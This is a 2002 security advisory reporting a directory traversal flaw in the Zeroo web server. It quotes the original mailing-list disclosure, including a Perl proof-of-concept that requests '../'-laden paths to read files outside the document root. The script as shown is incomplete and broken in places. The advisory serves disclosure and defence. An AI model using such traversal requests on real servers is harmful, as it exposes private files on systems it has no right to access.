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Category:   Application (Web Server/CGI)  >   Zeroo HTTP Server Vendors:   Bogdan, Mustata
Zeroo Web Server Discloses Files on the System to Remote Users
SecurityTracker Alert ID:  1005680
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 22 2002
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  

Description:   An input validation vulnerability was reported in the Zeroo web server. A remote user can view information located outside of the web document directory.

It is reported that a remote user can supply a specially crafted HTTP GET request containing '../' directory traversal characters to view files on the server.

A demonstration exploit script is provided in the Source Message.

Impact:   A remote user can view files on the server located outside of the web server document directory.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  [VulnWatch] Zeroo Folder Traversal Vulnerability

According to the vendor's web page <>, Zeroo is
a "simple, small, portable, fast HTTP server".  The server is available for
Windows, and Linux operating systems.

A folder traversal flaw in the server may allow attackers to compromise
sensitive information stored on the server's volume.

use IO::Socket;
$pkt = "GET /../../../../../../../../../../../../../../../../../../../../%s
if (@ARGV < 2 || @ARGV > 3) {
print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
if (@ARGV==3) {
} else {
$f = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
if (!defined($f)) {
$err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
print STDOUT $err;
print $f $pkt;
while (defined($line = <$f>)) {
print STDOUT $line;
undef $f;

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